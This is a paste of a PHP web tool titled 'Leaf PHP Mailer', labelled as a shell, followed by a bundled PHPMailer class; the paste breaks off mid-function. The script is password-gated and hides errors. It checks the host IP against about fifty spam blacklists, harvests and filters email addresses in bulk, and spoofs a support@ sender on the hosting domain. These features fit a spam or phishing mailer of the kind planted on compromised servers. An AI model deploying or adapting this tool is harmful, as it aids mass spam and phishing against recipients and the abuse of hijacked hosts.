· 5 years ago · Aug 20, 2020, 02:18 PM
1<?php
2
3/*** PHP Encode Sh*ll Auto v4 Fox ***/
4
5/**
6 * Leaf PHP Mailer by [leafmailer.pw]
7 * @version : 2.8
8**/
9
10$password = "Kalix@2020"; // Password
11
12
13
14session_start();
15error_reporting(0);
16set_time_limit(0);
17ini_set("memory_limit",-1);
18
19$leaf['version']="2.8";
20$leaf['website']="leafmailer.pw";
21
22
23$sessioncode = md5(__FILE__);
24if(!empty($password) and $_SESSION[$sessioncode] != $password){
25 if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
26 $_SESSION[$sessioncode] = $password;
27 }
28 else {
29 print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
30 exit;
31 }
32}
33
34session_write_close();
35
36
37function leafClear($text,$email){
38 $e = explode('@', $email);
39 $emailuser=$e[0];
40 $emaildomain=$e[1];
41 $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
42 $text = str_replace("[-email-]", $email, $text);
43 $text = str_replace("[-emailuser-]", $emailuser, $text);
44 $text = str_replace("[-emaildomain-]", $emaildomain, $text);
45 $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
46 $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
47 $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
48 $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
49 return $text;
50}
51function leafTrim($string){
52 $string=urldecode($string);
53 return stripslashes(trim($string));
54}
55function randString($consonants) {
56 $length=rand(12,25);
57 $password = '';
58 for ($i = 0; $i < $length; $i++) {
59 $password .= $consonants[(rand() % strlen($consonants))];
60 }
61 return $password;
62}
63function leafMailCheck($email){
64 if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
65 else return false;
66}
67# Bulit-in BlackList Checker
68if(isset($_GET['check_ip'])){
69 if (isset($_GET['host'])){
70 $_GET['host']=explode(",", $_GET['host']);
71 foreach ($_GET['host'] as $host) {
72 if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
73 else $check= "<font color='green'> Clean</font>";
74 print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
75 }
76
77 exit;
78 }
79 $dnsbl_lookup = [
80 "all.s5h.net",
81 "b.barracudacentral.org",
82 "bl.spamcop.net",
83 "blacklist.woody.ch",
84 "bogons.cymru.com",
85 "cbl.abuseat.org",
86 "cdl.anti-spam.org.cn",
87 "combined.abuse.ch",
88 "db.wpbl.info",
89 "dnsbl-1.uceprotect.net",
90 "dnsbl-2.uceprotect.net",
91 "dnsbl-3.uceprotect.net",
92 "dnsbl.anticaptcha.net",
93 "dnsbl.dronebl.org",
94 "dnsbl.inps.de",
95 "dnsbl.sorbs.net",
96 "drone.abuse.ch",
97 "duinv.aupads.org",
98 "dul.dnsbl.sorbs.net",
99 "dyna.spamrats.com",
100 "dynip.rothen.com",
101 "http.dnsbl.sorbs.net",
102 "ips.backscatterer.org",
103 "ix.dnsbl.manitu.net",
104 "korea.services.net",
105 "misc.dnsbl.sorbs.net",
106 "noptr.spamrats.com",
107 "orvedb.aupads.org",
108 "pbl.spamhaus.org",
109 "proxy.bl.gweep.ca",
110 "psbl.surriel.com",
111 "relays.bl.gweep.ca",
112 "relays.nether.net",
113 "sbl.spamhaus.org",
114 "short.rbl.jp",
115 "singular.ttk.pte.hu",
116 "smtp.dnsbl.sorbs.net",
117 "socks.dnsbl.sorbs.net",
118 "spam.abuse.ch",
119 "spam.dnsbl.anonmails.de",
120 "spam.dnsbl.sorbs.net",
121 "spam.spamrats.com",
122 "spambot.bls.digibase.ca",
123 "spamrbl.imp.ch",
124 "spamsources.fabel.dk",
125 "ubl.lashback.com",
126 "ubl.unsubscore.com",
127 "virus.rbl.jp",
128 "web.dnsbl.sorbs.net",
129 "wormrbl.imp.ch",
130 "xbl.spamhaus.org",
131 "z.mailspike.net",
132 "zen.spamhaus.org",
133 "zombie.dnsbl.sorbs.net",
134 ];
135 $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
136 $dnsT = count($dnsbl_lookup);
137 leafheader();
138 print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
139 Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
140 $dnsN="";
141 print '<table >';
142 for ($i=0; $i < $dnsT; $i=$i+10) {
143 $host="";
144 $hosts="";
145 for($j=$i; $j<$i+10;$j++){
146 $host=$dnsbl_lookup[$j];
147 if(!empty($host)){
148 print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
149 $hosts .="$host,";
150 }
151 }
152 $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
153 }
154
155 print '</table></div>';
156 print $dnsN;
157 exit;
158}
159if(isset($_GET['emailfilter'])){
160
161 if(!empty($_FILES['fileToUpload']['tmp_name'])){
162 $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
163 }
164 $_POST['emailList']=strtolower($_POST['emailList']);
165 if($_GET['emailfilter']=="ifram"){
166 if ($_POST['resulttype'] == "download"){
167 header("Content-Description: File Transfer");
168 header("Content-Type: application/octet-stream");
169 header("Content-Disposition: attachment; filename=emails".time().".txt");
170 }
171 else {
172 header("Content-Type: text/plain");
173 }
174 if($_POST['submit']=="extract"){
175 $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
176 preg_match_all($pattern, $_POST['emailList'], $matches);
177 foreach ($matches[0] as $email) {
178 print $email."\n";
179 }
180 }
181 elseif ($_POST['submit']=="filter") {
182 $emails=explode("\n", $_POST['emailList']);
183 $keywords=explode("\n", strtolower($_POST['keywords']));
184 foreach ($emails as $email) {
185 foreach ($keywords as $keyword ) {
186 if(strstr($email, $keyword) ){
187 print $email."\n";
188 break;
189 }
190
191 }
192 }
193
194 }
195 exit;
196 }
197 leafheader();
198 print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
199 print '
200 <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
201 <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
202 or
203
204 <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
205 <div class="col-lg-12">
206 <div class="radio">
207 <label>
208 <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
209 Show Result in this page
210 </label>
211 </div>
212 <div class="radio">
213 <label>
214 <input type="radio" name="resulttype" id="resulttype" value="download">
215 Download Result (for big numbers)
216 </label>
217 </div>
218 </div>
219 <legend><h4>Extract Email</h4></legend>
220 Detecting every email (100%) and order them line by line <br><br>
221 <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
222 <legend><h4>Filter Emails</h4></legend>
223 <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
224hotmail.com
225yahoo.com
226.co.uk</textarea><br>
227
228 <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
229 </form>
230 <label >Result </label>
231 <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
232 ';
233 exit;
234
235}
236$html="checked";
237$utf8="selected";
238$bit8="selected";
239
240if($_POST['action']=="send" or $_POST['action']=="score"){
241
242 $senderEmail=leafTrim($_POST['senderEmail']);
243 $senderName=leafTrim($_POST['senderName']);
244 $replyTo=leafTrim($_POST['replyTo']);
245 $subject=leafTrim($_POST['subject']);
246 $emailList=leafTrim($_POST['emailList']);
247 $messageType=leafTrim($_POST['messageType']);
248 $messageLetter=leafTrim($_POST['messageLetter']);
249 $encoding = $_POST['encode'];
250 $charset = $_POST['charset'];
251 $html="";
252 $utf8="";
253 $bit8="";
254
255 if($messageType==2) $plain="checked";
256 else $html="checked";
257
258 if($charset=="ISO-8859-1") $iso="selected";
259 else $utf8="selected";
260
261 if($encoding=="7bit") $bit7="selected";
262 elseif($encoding=="binary") $binary="selected";
263 elseif($encoding=="base64") $base64="selected";
264 elseif($encoding=="quoted-printable") $quotedprintable="selected";
265 else $bit8="selected";
266
267
268
269}
270if($_POST['action']=="view"){
271 $viewMessage=leafTrim($_POST['messageLetter']);
272 $viewMessage=leafClear($viewMessage,"user@domain.com");
273 if ($_POST['messageType']==2){
274 print "<pre>".htmlspecialchars($viewMessage)."</pre>";
275 }
276 else {
277 print $viewMessage;
278 }
279 exit;
280}
281
282
283
284if(!isset($_POST['senderEmail'])){
285 $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
286 if (!leafMailCheck($senderEmail)) $senderEmail="";
287}
288
289class PHPMailer
290{
291 /**
292 * The PHPMailer Version number.
293 * @var string
294 */
295 public $Version = '5.2.28';
296
297 /**
298 * Email priority.
299 * Options: null (default), 1 = High, 3 = Normal, 5 = low.
300 * When null, the header is not set at all.
301 * @var integer
302 */
303 public $Priority = null;
304
305 /**
306 * The character set of the message.
307 * @var string
308 */
309 public $CharSet = 'iso-8859-1';
310
311 /**
312 * The MIME Content-type of the message.
313 * @var string
314 */
315 public $ContentType = 'text/plain';
316
317 /**
318 * The message encoding.
319 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
320 * @var string
321 */
322 public $Encoding = '8bit';
323
324 /**
325 * Holds the most recent mailer error message.
326 * @var string
327 */
328 public $ErrorInfo = '';
329
330 /**
331 * The From email address for the message.
332 * @var string
333 */
334 public $From = 'root@localhost';
335
336 /**
337 * The From name of the message.
338 * @var string
339 */
340 public $FromName = 'Root User';
341
342 /**
343 * The Sender email (Return-Path) of the message.
344 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
345 * @var string
346 */
347 public $Sender = '';
348
349 /**
350 * The Return-Path of the message.
351 * If empty, it will be set to either From or Sender.
352 * @var string
353 * @deprecated Email senders should never set a return-path header;
354 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
355 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
356 */
357 public $ReturnPath = '';
358
359 /**
360 * The Subject of the message.
361 * @var string
362 */
363 public $Subject = '';
364
365 /**
366 * An HTML or plain text message body.
367 * If HTML then call isHTML(true).
368 * @var string
369 */
370 public $Body = '';
371
372 /**
373 * The plain-text message body.
374 * This body can be read by mail clients that do not have HTML email
375 * capability such as mutt & Eudora.
376 * Clients that can read HTML will view the normal Body.
377 * @var string
378 */
379 public $AltBody = '';
380
381 /**
382 * An iCal message part body.
383 * Only supported in simple alt or alt_inline message types
384 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
385 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
386 * @link http://kigkonsult.se/iCalcreator/
387 * @var string
388 */
389 public $Ical = '';
390
391 /**
392 * The complete compiled MIME message body.
393 * @access protected
394 * @var string
395 */
396 protected $MIMEBody = '';
397
398 /**
399 * The complete compiled MIME message headers.
400 * @var string
401 * @access protected
402 */
403 protected $MIMEHeader = '';
404
405 /**
406 * Extra headers that createHeader() doesn't fold in.
407 * @var string
408 * @access protected
409 */
410 protected $mailHeader = '';
411
412 /**
413 * Word-wrap the message body to this number of chars.
414 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
415 * @var integer
416 */
417 public $WordWrap = 0;
418
419 /**
420 * Which method to use to send mail.
421 * Options: "mail", "sendmail", or "smtp".
422 * @var string
423 */
424 public $Mailer = 'mail';
425
426 /**
427 * The path to the sendmail program.
428 * @var string
429 */
430 public $Sendmail = '/usr/sbin/sendmail';
431
432 /**
433 * Whether mail() uses a fully sendmail-compatible MTA.
434 * One which supports sendmail's "-oi -f" options.
435 * @var boolean
436 */
437 public $UseSendmailOptions = true;
438
439 /**
440 * Path to PHPMailer plugins.
441 * Useful if the SMTP class is not in the PHP include path.
442 * @var string
443 * @deprecated Should not be needed now there is an autoloader.
444 */
445 public $PluginDir = '';
446
447 /**
448 * The email address that a reading confirmation should be sent to, also known as read receipt.
449 * @var string
450 */
451 public $ConfirmReadingTo = '';
452
453 /**
454 * The hostname to use in the Message-ID header and as default HELO string.
455 * If empty, PHPMailer attempts to find one with, in order,
456 * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
457 * 'localhost.localdomain'.
458 * @var string
459 */
460 public $Hostname = '';
461
462 /**
463 * An ID to be used in the Message-ID header.
464 * If empty, a unique id will be generated.
465 * You can set your own, but it must be in the format "<id@domain>",
466 * as defined in RFC5322 section 3.6.4 or it will be ignored.
467 * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
468 * @var string
469 */
470 public $MessageID = '';
471
472 /**
473 * The message Date to be used in the Date header.
474 * If empty, the current date will be added.
475 * @var string
476 */
477 public $MessageDate = '';
478
479 /**
480 * SMTP hosts.
481 * Either a single hostname or multiple semicolon-delimited hostnames.
482 * You can also specify a different port
483 * for each host by using this format: [hostname:port]
484 * (e.g. "smtp1.example.com:25;smtp2.example.com").
485 * You can also specify encryption type, for example:
486 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
487 * Hosts will be tried in order.
488 * @var string
489 */
490 public $Host = 'localhost';
491
492 /**
493 * The default SMTP server port.
494 * @var integer
495 * @TODO Why is this needed when the SMTP class takes care of it?
496 */
497 public $Port = 25;
498
499 /**
500 * The SMTP HELO of the message.
501 * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
502 * one with the same method described above for $Hostname.
503 * @var string
504 * @see PHPMailer::$Hostname
505 */
506 public $Helo = '';
507
508 /**
509 * What kind of encryption to use on the SMTP connection.
510 * Options: '', 'ssl' or 'tls'
511 * @var string
512 */
513 public $SMTPSecure = '';
514
515 /**
516 * Whether to enable TLS encryption automatically if a server supports it,
517 * even if `SMTPSecure` is not set to 'tls'.
518 * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
519 * @var boolean
520 */
521 public $SMTPAutoTLS = true;
522
523 /**
524 * Whether to use SMTP authentication.
525 * Uses the Username and Password properties.
526 * @var boolean
527 * @see PHPMailer::$Username
528 * @see PHPMailer::$Password
529 */
530 public $SMTPAuth = false;
531
532 /**
533 * Options array passed to stream_context_create when connecting via SMTP.
534 * @var array
535 */
536 public $SMTPOptions = array();
537
538 /**
539 * SMTP username.
540 * @var string
541 */
542 public $Username = '';
543
544 /**
545 * SMTP password.
546 * @var string
547 */
548 public $Password = '';
549
550 /**
551 * SMTP auth type.
552 * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
553 * @var string
554 */
555 public $AuthType = '';
556
557 /**
558 * SMTP realm.
559 * Used for NTLM auth
560 * @var string
561 */
562 public $Realm = '';
563
564 /**
565 * SMTP workstation.
566 * Used for NTLM auth
567 * @var string
568 */
569 public $Workstation = '';
570
571 /**
572 * The SMTP server timeout in seconds.
573 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
574 * @var integer
575 */
576 public $Timeout = 300;
577
578 /**
579 * SMTP class debug output mode.
580 * Debug output level.
581 * Options:
582 * * `0` No output
583 * * `1` Commands
584 * * `2` Data and commands
585 * * `3` As 2 plus connection status
586 * * `4` Low-level data output
587 * @var integer
588 * @see SMTP::$do_debug
589 */
590 public $SMTPDebug = 0;
591
592 /**
593 * How to handle debug output.
594 * Options:
595 * * `echo` Output plain-text as-is, appropriate for CLI
596 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
597 * * `error_log` Output to error log as configured in php.ini
598 *
599 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
600 * <code>
601 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
602 * </code>
603 * @var string|callable
604 * @see SMTP::$Debugoutput
605 */
606 public $Debugoutput = 'echo';
607
608 /**
609 * Whether to keep SMTP connection open after each message.
610 * If this is set to true then to close the connection
611 * requires an explicit call to smtpClose().
612 * @var boolean
613 */
614 public $SMTPKeepAlive = false;
615
616 /**
617 * Whether to split multiple to addresses into multiple messages
618 * or send them all in one message.
619 * Only supported in `mail` and `sendmail` transports, not in SMTP.
620 * @var boolean
621 */
622 public $SingleTo = false;
623
624 /**
625 * Storage for addresses when SingleTo is enabled.
626 * @var array
627 * @TODO This should really not be public
628 */
629 public $SingleToArray = array();
630
631 /**
632 * Whether to generate VERP addresses on send.
633 * Only applicable when sending via SMTP.
634 * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
635 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
636 * @var boolean
637 */
638 public $do_verp = false;
639
640 /**
641 * Whether to allow sending messages with an empty body.
642 * @var boolean
643 */
644 public $AllowEmpty = false;
645
646 /**
647 * The default line ending.
648 * @note The default remains "\n". We force CRLF where we know
649 * it must be used via self::CRLF.
650 * @var string
651 */
652 public $LE = "\n";
653
654 /**
655 * DKIM selector.
656 * @var string
657 */
658 public $DKIM_selector = '';
659
660 /**
661 * DKIM Identity.
662 * Usually the email address used as the source of the email.
663 * @var string
664 */
665 public $DKIM_identity = '';
666
667 /**
668 * DKIM passphrase.
669 * Used if your key is encrypted.
670 * @var string
671 */
672 public $DKIM_passphrase = '';
673
674 /**
675 * DKIM signing domain name.
676 * @example 'example.com'
677 * @var string
678 */
679 public $DKIM_domain = '';
680
681 /**
682 * DKIM private key file path.
683 * @var string
684 */
685 public $DKIM_private = '';
686
687 /**
688 * DKIM private key string.
689 * If set, takes precedence over `$DKIM_private`.
690 * @var string
691 */
692 public $DKIM_private_string = '';
693
694 /**
695 * Callback Action function name.
696 *
697 * The function that handles the result of the send email action.
698 * It is called out by send() for each email sent.
699 *
700 * Value can be any php callable: http://www.php.net/is_callable
701 *
702 * Parameters:
703 * boolean $result result of the send action
704 * array $to email addresses of the recipients
705 * array $cc cc email addresses
706 * array $bcc bcc email addresses
707 * string $subject the subject
708 * string $body the email body
709 * string $from email address of sender
710 * @var string
711 */
712 public $action_function = '';
713
714 /**
715 * What to put in the X-Mailer header.
716 * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
717 * @var string
718 */
719 public $XMailer = ' ';
720
721 /**
722 * Which validator to use by default when validating email addresses.
723 * May be a callable to inject your own validator, but there are several built-in validators.
724 * @see PHPMailer::validateAddress()
725 * @var string|callable
726 * @static
727 */
728 public static $validator = 'auto';
729
730 /**
731 * An instance of the SMTP sender class.
732 * @var SMTP
733 * @access protected
734 */
735 protected $smtp = null;
736
737 /**
738 * The array of 'to' names and addresses.
739 * @var array
740 * @access protected
741 */
742 protected $to = array();
743
744 /**
745 * The array of 'cc' names and addresses.
746 * @var array
747 * @access protected
748 */
749 protected $cc = array();
750
751 /**
752 * The array of 'bcc' names and addresses.
753 * @var array
754 * @access protected
755 */
756 protected $bcc = array();
757
758 /**
759 * The array of reply-to names and addresses.
760 * @var array
761 * @access protected
762 */
763 protected $ReplyTo = array();
764
765 /**
766 * An array of all kinds of addresses.
767 * Includes all of $to, $cc, $bcc
768 * @var array
769 * @access protected
770 * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
771 */
772 protected $all_recipients = array();
773
774 /**
775 * An array of names and addresses queued for validation.
776 * In send(), valid and non duplicate entries are moved to $all_recipients
777 * and one of $to, $cc, or $bcc.
778 * This array is used only for addresses with IDN.
779 * @var array
780 * @access protected
781 * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
782 * @see PHPMailer::$all_recipients
783 */
784 protected $RecipientsQueue = array();
785
786 /**
787 * An array of reply-to names and addresses queued for validation.
788 * In send(), valid and non duplicate entries are moved to $ReplyTo.
789 * This array is used only for addresses with IDN.
790 * @var array
791 * @access protected
792 * @see PHPMailer::$ReplyTo
793 */
794 protected $ReplyToQueue = array();
795
796 /**
797 * The array of attachments.
798 * @var array
799 * @access protected
800 */
801 protected $attachment = array();
802
803 /**
804 * The array of custom headers.
805 * @var array
806 * @access protected
807 */
808 protected $CustomHeader = array();
809
810 /**
811 * The most recent Message-ID (including angular brackets).
812 * @var string
813 * @access protected
814 */
815 protected $lastMessageID = '';
816
817 /**
818 * The message's MIME type.
819 * @var string
820 * @access protected
821 */
822 protected $message_type = '';
823
824 /**
825 * The array of MIME boundary strings.
826 * @var array
827 * @access protected
828 */
829 protected $boundary = array();
830
831 /**
832 * The array of available languages.
833 * @var array
834 * @access protected
835 */
836 protected $language = array();
837
838 /**
839 * The number of errors encountered.
840 * @var integer
841 * @access protected
842 */
843 protected $error_count = 0;
844
845 /**
846 * The S/MIME certificate file path.
847 * @var string
848 * @access protected
849 */
850 protected $sign_cert_file = '';
851
852 /**
853 * The S/MIME key file path.
854 * @var string
855 * @access protected
856 */
857 protected $sign_key_file = '';
858
859 /**
860 * The optional S/MIME extra certificates ("CA Chain") file path.
861 * @var string
862 * @access protected
863 */
864 protected $sign_extracerts_file = '';
865
866 /**
867 * The S/MIME password for the key.
868 * Used only if the key is encrypted.
869 * @var string
870 * @access protected
871 */
872 protected $sign_key_pass = '';
873
874 /**
875 * Whether to throw exceptions for errors.
876 * @var boolean
877 * @access protected
878 */
879 protected $exceptions = false;
880
881 /**
882 * Unique ID used for message ID and boundaries.
883 * @var string
884 * @access protected
885 */
886 protected $uniqueid = '';
887
888 /**
889 * Error severity: message only, continue processing.
890 */
891 const STOP_MESSAGE = 0;
892
893 /**
894 * Error severity: message, likely ok to continue processing.
895 */
896 const STOP_CONTINUE = 1;
897
898 /**
899 * Error severity: message, plus full stop, critical error reached.
900 */
901 const STOP_CRITICAL = 2;
902
903 /**
904 * SMTP RFC standard line ending.
905 */
906 const CRLF = "\r\n";
907
908 /**
909 * The maximum line length allowed by RFC 2822 section 2.1.1
910 * @var integer
911 */
912 const MAX_LINE_LENGTH = 998;
913
914 /**
915 * Constructor.
916 * @param boolean $exceptions Should we throw external exceptions?
917 */
918 public function __construct($exceptions = null)
919 {
920 if ($exceptions !== null) {
921 $this->exceptions = (boolean)$exceptions;
922 }
923 //Pick an appropriate debug output format automatically
924 $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
925 }
926
927 /**
928 * Destructor.
929 */
930 public function __destruct()
931 {
932 //Close any open SMTP connection nicely
933 $this->smtpClose();
934 }
935
936 /**
937 * Call mail() in a safe_mode-aware fashion.
938 * Also, unless sendmail_path points to sendmail (or something that
939 * claims to be sendmail), don't pass params (not a perfect fix,
940 * but it will do)
941 * @param string $to To
942 * @param string $subject Subject
943 * @param string $body Message Body
944 * @param string $header Additional Header(s)
945 * @param string $params Params
946 * @access private
947 * @return boolean
948 */
949 private function mailPassthru($to, $subject, $body, $header, $params)
950 {
951 //Check overloading of mail function to avoid double-encoding
952 if (ini_get('mbstring.func_overload') & 1) {
953 $subject = $this->secureHeader($subject);
954 } else {
955 $subject = $this->encodeHeader($this->secureHeader($subject));
956 }
957
958 //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
959 //@link http://php.net/manual/en/function.mail.php
960 if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
961 $result = @mail($to, $subject, $body, $header);
962 } else {
963 $result = @mail($to, $subject, $body, $header, $params);
964 }
965 return $result;
966 }
967 /**
968 * Output debugging info via user-defined method.
969 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
970 * @see PHPMailer::$Debugoutput
971 * @see PHPMailer::$SMTPDebug
972 * @param string $str
973 */
974 protected function edebug($str)
975 {
976 if ($this->SMTPDebug <= 0) {
977 return;
978 }
979 //Avoid clash with built-in function names
980 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
981 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
982 return;
983 }
984 switch ($this->Debugoutput) {
985 case 'error_log':
986 //Don't output, just log
987 error_log($str);
988 break;
989 case 'html':
990 //Cleans up output a bit for a better looking, HTML-safe output
991 echo htmlentities(
992 preg_replace('/[\r\n]+/', '', $str),
993 ENT_QUOTES,
994 'UTF-8'
995 )
996 . "<br>\n";
997 break;
998 case 'echo':
999 default:
1000 //Normalize line breaks
1001 $str = preg_replace('/\r\n?/ms', "\n", $str);
1002 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
1003 "\n",
1004 "\n \t ",
1005 trim($str)
1006 ) . "\n";
1007 }
1008 }
1009
1010 /**
1011 * Send messages using SMTP.
1012 * @return void
1013 */
1014 public function isSMTP()
1015 {
1016 $this->Mailer = 'smtp';
1017 }
1018
1019 /**
1020 * Send messages using PHP's mail() function.
1021 * @return void
1022 */
1023 public function isMail()
1024 {
1025 $this->Mailer = 'mail';
1026 }
1027
1028 /**
1029 * Send messages using $Sendmail.
1030 * @return void
1031 */
1032 public function isSendmail()
1033 {
1034 $ini_sendmail_path = ini_get('sendmail_path');
1035
1036 if (!stristr($ini_sendmail_path, 'sendmail')) {
1037 $this->Sendmail = '/usr/sbin/sendmail';
1038 } else {
1039 $this->Sendmail = $ini_sendmail_path;
1040 }
1041 $this->Mailer = 'sendmail';
1042 }
1043
1044 /**
1045 * Send messages using qmail.
1046 * @return void
1047 */
1048 public function isQmail()
1049 {
1050 $ini_sendmail_path = ini_get('sendmail_path');
1051
1052 if (!stristr($ini_sendmail_path, 'qmail')) {
1053 $this->Sendmail = '/var/qmail/bin/qmail-inject';
1054 } else {
1055 $this->Sendmail = $ini_sendmail_path;
1056 }
1057 $this->Mailer = 'qmail';
1058 }
1059
1060 /**
1061 * Add a "To" address.
1062 * @param string $address The email address to send to
1063 * @param string $name
1064 * @return boolean true on success, false if address already used or invalid in some way
1065 */
1066 public function addAddress($address, $name = '')
1067 {
1068 return $this->addOrEnqueueAnAddress('to', $address, $name);
1069 }
1070
1071 /**
1072 * Add a "CC" address.
1073 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
1074 * @param string $address The email address to send to
1075 * @param string $name
1076 * @return boolean true on success, false if address already used or invalid in some way
1077 */
1078 public function addCC($address, $name = '')
1079 {
1080 return $this->addOrEnqueueAnAddress('cc', $address, $name);
1081 }
1082
1083 /**
1084 * Add a "BCC" address.
1085 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
1086 * @param string $address The email address to send to
1087 * @param string $name
1088 * @return boolean true on success, false if address already used or invalid in some way
1089 */
1090 public function addBCC($address, $name = '')
1091 {
1092 return $this->addOrEnqueueAnAddress('bcc', $address, $name);
1093 }
1094
1095 /**
1096 * Add a "Reply-To" address.
1097 * @param string $address The email address to reply to
1098 * @param string $name
1099 * @return boolean true on success, false if address already used or invalid in some way
1100 */
1101 public function addReplyTo($address, $name = '')
1102 {
1103 return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
1104 }
1105
1106 /**
1107 * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
1108 * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
1109 * be modified after calling this function), addition of such addresses is delayed until send().
1110 * Addresses that have been added already return false, but do not throw exceptions.
1111 * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
1112 * @param string $address The email address to send, resp. to reply to
1113 * @param string $name
1114 * @throws phpmailerException
1115 * @return boolean true on success, false if address already used or invalid in some way
1116 * @access protected
1117 */
1118 protected function addOrEnqueueAnAddress($kind, $address, $name)
1119 {
1120 $address = trim($address);
1121 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
1122 if (($pos = strrpos($address, '@')) === false) {
1123 // At-sign is misssing.
1124 $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
1125 $this->setError($error_message);
1126 $this->edebug($error_message);
1127 if ($this->exceptions) {
1128 throw new phpmailerException($error_message);
1129 }
1130 return false;
1131 }
1132 $params = array($kind, $address, $name);
1133 // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
1134 if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
1135 if ($kind != 'Reply-To') {
1136 if (!array_key_exists($address, $this->RecipientsQueue)) {
1137 $this->RecipientsQueue[$address] = $params;
1138 return true;
1139 }
1140 } else {
1141 if (!array_key_exists($address, $this->ReplyToQueue)) {
1142 $this->ReplyToQueue[$address] = $params;
1143 return true;
1144 }
1145 }
1146 return false;
1147 }
1148 // Immediately add standard addresses without IDN.
1149 return call_user_func_array(array($this, 'addAnAddress'), $params);
1150 }
1151
1152 /**
1153 * Add an address to one of the recipient arrays or to the ReplyTo array.
1154 * Addresses that have been added already return false, but do not throw exceptions.
1155 * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
1156 * @param string $address The email address to send, resp. to reply to
1157 * @param string $name
1158 * @throws phpmailerException
1159 * @return boolean true on success, false if address already used or invalid in some way
1160 * @access protected
1161 */
1162 protected function addAnAddress($kind, $address, $name = '')
1163 {
1164 if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
1165 $error_message = $this->lang('Invalid recipient kind: ') . $kind;
1166 $this->setError($error_message);
1167 $this->edebug($error_message);
1168 if ($this->exceptions) {
1169 throw new phpmailerException($error_message);
1170 }
1171 return false;
1172 }
1173 if (!$this->validateAddress($address)) {
1174 $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
1175 $this->setError($error_message);
1176 $this->edebug($error_message);
1177 if ($this->exceptions) {
1178 throw new phpmailerException($error_message);
1179 }
1180 return false;
1181 }
1182 if ($kind != 'Reply-To') {
